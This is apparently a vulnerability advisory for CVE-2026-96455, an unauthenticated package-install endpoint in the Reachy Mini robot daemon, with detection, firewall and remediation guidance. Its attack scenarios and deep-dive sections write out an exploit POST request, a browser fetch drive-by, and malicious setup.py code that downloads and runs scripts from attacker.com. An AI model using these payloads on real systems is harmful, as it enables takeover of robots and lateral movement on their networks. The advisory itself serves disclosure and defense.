What Is CVE-2026-96455?
CVE-2026-96455 is a critical remote code execution vulnerability affecting the Reachy Mini daemon. The flaw stems from an unauthenticated HTTP endpoint that allows attackers to install arbitrary Python packages—and execute malicious code—on robots connected to a local network.
The Core Vulnerability
The vulnerability exists in the POST /apps/install endpoint within the daemon’s application management router. This endpoint accepts requests to install any publicly available Hugging Face Space without requiring authentication or authorization checks. When a package installation is triggered, the daemon automatically executes Python setup scripts defined in the target repository, giving attackers a direct path to arbitrary code execution.
Key technical details:
- Affected endpoint:
POST /apps/installinsrc/reachy_mini/daemon/app/routers/apps.py - Root cause: Missing authentication dependency in the FastAPI route handler
- Execution mechanism: Python package installation (
piporuv) automatically runs build scripts - Network exposure: Wireless Reachy Mini models bind to
0.0.0.0, exposing the daemon to all LAN interfaces
Why CORS Fixes Don’t Solve This
Version 1.8.2 introduced restricted Cross-Origin Resource Sharing (CORS) policies, limiting requests to localhost and Tauri origins. While this blocks browser-based drive-by attacks, it provides no protection against direct HTTP requests from command-line tools, scripts, or network utilities.
CORS is a browser-enforced security mechanism. Attackers using curl, Python requests, or custom socket connections bypass CORS entirely. The underlying authentication problem remains unfixed.
Who Is Affected
Directly affected:
- Wireless Reachy Mini robots running daemon version 1.8.2 and earlier
- Any deployment where the daemon binds to network interfaces (
0.0.0.0)
Potentially affected:
- Non-wireless units if administrators override default loopback binding
- Robots on shared corporate or research networks
How the Attack Works
The Unauthenticated Installation Endpoint
The daemon exposes a simple HTTP interface for installing applications. The endpoint expects a JSON payload specifying a Hugging Face Space reference:
POST /apps/install HTTP/1.1
Host: <robot-ip>:<port>
Content-Type: application/json
{
"space_id": "attacker/malicious-space"
}
No credentials, API keys, or session tokens are required. The endpoint immediately processes the request and begins package installation.
Code Execution Through Package Installation
Once the installation request is accepted, the daemon:
- Resolves the target Hugging Face Space
- Calls
install_package()fromsrc/reachy_mini/apps/sources/local_common_venv.py - Invokes
piporuvto download and build the package - Automatically executes setup scripts defined in the package’s
setup.pyor build backend configuration
Python’s package installation standard includes running arbitrary build code. An attacker controlling the repository controls the execution context. This is not a bug in Python—it’s how package management works—but the daemon’s failure to authenticate requests makes it exploitable.
Network Exposure in Wireless Models
The daemon’s network binding behavior depends on hardware configuration:
- Wireless models: Bind to
0.0.0.0(all interfaces) to enable remote management over LAN - Non-wireless models: Bind to
127.0.0.1(loopback only) for local access
Wireless deployments are directly exposed to any host on the local network segment.
Why Direct HTTP Requests Bypass CORS
CORS is a browser security policy. When a browser makes a cross-origin request, it enforces CORS rules before sending the request. However:
- Direct HTTP requests from
curl, Python, or other tools do not trigger CORS checks - CORS headers are only validated by web browsers
- Attackers on the LAN can send raw HTTP requests without browser involvement
The v1.8.2 CORS fix is ineffective against this threat model.
Real-World Attack Scenarios
LAN-Based Remote Code Execution
Scenario: An attacker shares a corporate or research network with a wireless Reachy Mini robot.
Steps:
- Attacker discovers the robot’s IP address (via network scanning or documentation)
- Attacker publishes a malicious Hugging Face Space with code in
setup.py:
# setup.py in attacker's Space
import subprocess
subprocess.run(["curl", "http://attacker.com/backdoor.sh", "-o", "/tmp/bd.sh"])
subprocess.run(["bash", "/tmp/bd.sh"])
- Attacker sends HTTP POST request:
curl -X POST http://<robot-ip>:8000/apps/install \
-H "Content-Type: application/json" \
-d '{"space_id": "attacker/malicious-space"}'
- Daemon installs the package, executing the attacker’s setup script
- Backdoor is installed with daemon process privileges
Impact: Full system compromise, data exfiltration, lateral movement to other network hosts.
Browser Drive-By Attacks (Pre-v1.8.2)
Scenario: A user on the same LAN visits a malicious website while a pre-1.8.2 daemon is running.
Steps:
- Attacker hosts a website with embedded JavaScript
- JavaScript triggers a cross-origin fetch to the robot’s daemon:
fetch('http://<robot-ip>:8000/apps/install', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({space_id: 'attacker/malicious-space'})
});
- Pre-1.8.2 daemon accepts the request due to wildcard CORS (
*) - Malicious package installs silently in the background
Note: Version 1.8.2 mitigates this specific scenario but not the underlying authentication flaw.
Attack Prerequisites and Complexity
| Factor | Requirement |
|---|---|
| Network access | LAN visibility to robot IP and daemon port |
| Authentication | None required |
| Credentials | None required |
| Complexity | Low—single HTTP POST request |
| Skill level | Beginner (basic HTTP knowledge) |
| Detection difficulty | Medium (requires network monitoring) |
Assessing Your Risk

Affected Versions and Hardware Models
| Version | Wireless | Non-Wireless | Status |
|---|---|---|---|
| < 1.8.2 | Vulnerable | Vulnerable* | Unpatched |
| 1.8.2 | Vulnerable | Vulnerable* | Partially mitigated |
| > 1.8.2 | Pending vendor fix | Pending vendor fix | Awaiting patch |
*Non-wireless units are vulnerable only if administrators override default loopback binding.
Threat Actor Profile and Capabilities
Who can exploit this:
- Any user on the same LAN segment
- Researchers or employees in shared network environments
- Attackers with network access (VPN, guest networks, compromised adjacent systems)
What they can do:
- Execute arbitrary commands with daemon process privileges
- Install persistent backdoors or malware
- Access robot sensors, cameras, and control systems
- Exfiltrate data from the host system
- Pivot to other networked devices
CVSS Severity Breakdown
CVSS v3.1 Score: 9.8 (Critical)
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Exploitable over LAN |
| Attack Complexity | Low | No special conditions required |
| Privileges Required | None | Unauthenticated access |
| User Interaction | None | No user action needed |
| Confidentiality Impact | High | Full file system access |
| Integrity Impact | High | Arbitrary code execution |
| Availability Impact | High | Process/system disruption possible |
Detecting Active Exploitation
Network Traffic Indicators
Monitor for suspicious patterns:
POST /apps/install HTTP/1.1
Host: <robot-ip>:<port>
Content-Type: application/json
Detection rules:
- Alert on any
POST /apps/installrequest originating from non-loopback IP addresses - Flag requests with
space_idparameters pointing to unfamiliar Hugging Face accounts - Monitor for repeated installation attempts (potential scanning)
Tools:
- Zeek/Suricata network IDS rules
- tcpdump with BPF filters
- Proxy/firewall logs
Host and Process Monitoring
Watch for:
- Package manager invocation:
# Monitor for pip/uv spawned by daemon
ps aux | grep -E "(pip|uv)" | grep reachy_mini
- Virtual environment changes:
- New packages in
local_common_venv.pydirectory - Unexpected modification timestamps on site-packages
- Unrecognized Hugging Face Space installations
- Suspicious process spawning:
- Daemon process launching shells (
/bin/bash,/bin/sh) - Network connections from daemon process
- File writes to system directories
Tools:
auditdfor system call monitoringosqueryfor process and file integritystracefor debugging suspicious daemon behavior
Virtual Environment Audit Checks
# List installed packages in daemon venv
source /path/to/daemon/venv/bin/activate
pip list | grep -v "^-"
# Check recent modifications
find /path/to/daemon/venv/lib -type f -mtime -7 -ls
# Verify package signatures (if available)
pip show <package-name>
Immediate Mitigation Actions
Network Isolation Strategies
Option 1: Dedicated VLAN
- Place Reachy Mini on isolated VLAN with restricted routing
- Block inter-VLAN traffic except for authorized management stations
- Implement strict ingress/egress filtering
Option 2: Air-Gapped Network
- Connect robot only to dedicated, isolated network segment
- Use single management workstation for administration
- Disable wireless connectivity if not required
Option 3: VPN Tunnel
- Require all remote access through VPN
- Restrict daemon port access to VPN clients only
- Monitor VPN connection logs
Firewall Rules for Daemon Protection
Linux (ufw):
# Block all inbound daemon traffic except from management station
sudo ufw default deny incoming
sudo ufw allow from 192.168.1.100 to any port 8000 proto tcp
sudo ufw enable
Linux (iptables):
# Allow only from management station
iptables -A INPUT -p tcp --dport 8000 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 8000 -j DROP
Network firewall (example):
# Block daemon port from untrusted networks
deny tcp any any eq 8000 from untrusted-vlan to robot-vlan
allow tcp 192.168.1.100 any eq 8000 to robot-ip
Binding Address Overrides
Force the daemon to listen only on loopback if LAN access is not required:
Configuration file (if available):
daemon:
host: "127.0.0.1" # Override default 0.0.0.0
port: 8000
Environment variable:
export REACHY_DAEMON_HOST=127.0.0.1
Command-line argument:
reachy_mini_daemon --host 127.0.0.1
Long-Term Remediation
Authentication Layer Implementation
The vendor must add authentication to sensitive endpoints. Recommended approaches:
API Key authentication:
from fastapi import Depends, HTTPException, Header
async def verify_api_key(x_api_key: str = Header(...)):
if x_api_key != os.getenv("DAEMON_API_KEY"):
raise HTTPException(status_code=403, detail="Invalid API key")
return x_api_key
@app.post("/apps/install")
async def install_app(app_info: AppInfo, api_key: str = Depends(verify_api_key)):
# Installation logic
pass
Token-based authentication:
from fastapi.security import HTTPBearer, HTTPAuthCredentials
security = HTTPBearer()
@app.post("/apps/install")
async def install_app(app_info: AppInfo, credentials: HTTPAuthCredentials = Depends(security)):
# Validate JWT or session token
pass
OAuth 2.0 (for remote management):
- Integrate with identity provider
- Require valid access tokens for API calls
- Implement token refresh and revocation
Package Source Restrictions
Implement whitelist-based package installation:
ALLOWED_SPACES = [
"official/space-1",
"official/space-2",
"trusted-org/space-3"
]
@app.post("/apps/install")
async def install_app(app_info: AppInfo):
if app_info.space_id not in ALLOWED_SPACES:
raise HTTPException(status_code=403, detail="Space not whitelisted")
# Installation logic
Additional controls:
- Require package signature verification
- Implement package hash pinning
- Scan packages for known vulnerabilities before installation
- Log all installation attempts with timestamps and sources
Vendor Patch Timeline
Organizations should:
- Immediately: Implement network isolation and firewall rules (see Mitigation Actions)
- Within 1 week: Contact vendor for patch timeline and interim guidance
- Within 30 days: Apply vendor patch or upgrade to patched version
- Ongoing: Monitor vendor security advisories and apply updates promptly
Technical Deep Dive
Vulnerable Code Paths
Entry point (src/reachy_mini/daemon/app/routers/apps.py):
@router.post("/apps/install")
async def install_app(app_info: AppInfo, app_manager = Depends(get_app_manager)):
# No authentication check here
return await app_manager.install(app_info)
Installation handler (src/reachy_mini/apps/sources/local_common_venv.py):
async def install_package(space_id: str):
# Downloads and installs package
subprocess.run(["pip", "install", f"git+https://huggingface.co/{space_id}"])
# setup.py is automatically executed during installation
Network binding (src/reachy_mini/daemon/app/main.py):
def _resolve_bind_host(hardware_type: str) -> str:
if hardware_type == "wireless":
return "0.0.0.0" # Exposed to all interfaces
else:
return "127.0.0.1" # Loopback only
Installation Mechanism Breakdown
Python package installation follows this sequence:
- Download: Fetch repository from Hugging Face
- Extract: Unpack source files
- Build: Execute
setup.pyor PEP 517 build backend - Install: Copy files to site-packages
The vulnerability: Step 3 executes arbitrary code controlled by the repository maintainer. An attacker can inject malicious code into setup.py:
# Malicious setup.py
from setuptools import setup
import subprocess
import os
# Execute before installation completes
subprocess.run(["bash", "-c", "curl http://attacker.com/shell.sh | bash"])
setup(name="legitimate-looking-package", ...)
Hardware-Specific Bind Behavior
The daemon’s network exposure depends on hardware detection:
| Hardware Type | Bind Address | Network Exposure |
|---|---|---|
| Wireless | 0.0.0.0 |
All LAN interfaces |
| Non-wireless | 127.0.0.1 |
Loopback only |
| Custom override | User-specified | Depends on config |
Administrators can override this behavior, potentially exposing non-wireless units unintentionally.
FAQs
Does updating to version 1.8.2 fix CVE-2026-96455?
No. Version 1.8.2 restricts CORS origins to localhost and Tauri to block browser-based drive-by attacks. However, it does not add authentication to the POST /apps/install endpoint. Direct HTTP requests from network tools (curl, Python scripts, etc.) completely bypass CORS and remain vulnerable. The underlying authentication flaw is unfixed.
Are non-wireless Reachy Mini units exposed over the LAN?
By default, no. Non-wireless units bind to 127.0.0.1 via the _resolve_bind_host() function, restricting access to local loopback only. However, if administrators override the default binding configuration or modify the daemon startup parameters, non-wireless units can be exposed. Always verify your daemon’s actual bind address:
netstat -tlnp | grep reachy_mini
Why does installing a Hugging Face Space result in code execution?
The daemon uses standard Python package installation tools (pip or uv) to download and build packages. Python’s package installation standard automatically executes setup scripts defined in setup.py or modern build backends. This is not a flaw in Python—it’s how package management works—but the daemon’s failure to authenticate requests makes it exploitable. An attacker controlling the repository controls the setup code.
Can I safely use Reachy Mini on a shared corporate network?
Not without additional controls. Shared networks expose the robot to any user on that network segment. Implement:
- Dedicated VLAN with strict firewall rules
- Network segmentation isolating the robot
- Firewall rules blocking daemon port access from untrusted hosts
- Loopback-only binding if LAN access is not required
- Regular network monitoring for suspicious installation attempts
Contact your network security team before deploying on shared infrastructure.
What should I do if I suspect exploitation?
Immediate steps:
- Isolate the robot from the network
- Preserve logs for forensic analysis:
journalctl -u reachy_mini_daemon > daemon.log
netstat -an > network_state.log
ps auxww > process_state.log
- Check installed packages:
pip list > installed_packages.log
- Scan for backdoors:
- Review recent file modifications
- Check cron jobs and startup scripts
- Inspect network connections
- Contact vendor with logs and timeline
- Perform forensic analysis or rebuild system from known-good image
How do I verify if my daemon is vulnerable?
Check version:
reachy_mini_daemon --version
If version is 1.8.2 or earlier, your system is vulnerable.
Verify network binding:
netstat -tlnp | grep reachy_mini
If the daemon binds to 0.0.0.0 (wireless model), it’s exposed to the LAN.
Test endpoint accessibility:
curl -X POST http://localhost:8000/apps/install \
-H "Content-Type: application/json" \
-d '{"space_id": "test/space"}'
If the endpoint responds without requiring authentication, it’s vulnerable.
References
- Vulnerable code:
src/reachy_mini/daemon/app/routers/apps.py(POST /apps/install) - Installation logic:
src/reachy_mini/apps/sources/local_common_venv.py(install_package) - Network binding:
src/reachy_mini/daemon/app/main.py(_resolve_bind_host) - CVSS Calculator: https://www.first.org/cvss/calculator/3.1
- Python packaging security: https://packaging.python.org/guides/
Last Updated: 2026
Severity: Critical (CVSS 9.8)
Status: Unpatched (vendor remediation pending)